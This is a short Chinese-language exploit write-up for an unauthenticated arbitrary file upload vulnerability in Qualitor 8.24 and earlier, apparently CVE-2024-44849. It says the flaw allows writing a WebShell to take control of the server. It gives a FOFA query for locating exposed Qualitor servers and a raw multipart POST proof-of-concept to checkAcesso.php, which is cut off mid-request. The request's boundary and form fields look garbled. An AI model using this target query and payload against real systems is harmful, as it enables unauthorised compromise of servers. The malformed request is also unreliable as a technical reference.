0x01 漏洞概述
Qualitor 8.24及之前版本存在任意文件上传漏洞,未经身份验证远程攻击者可利用该漏洞代码执行,写入WebShell,进一步控制服务器权限。
0x02 复现环境
FOFA:app="Qualitor-Web"
0x03 漏洞复现
PoC
POST /html/ad/adfilestorage/request/checkAcesso.php HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=---------------------------QUALITORspaceCVEspace2024space44849-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="idtipo"2
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmfilestorage"----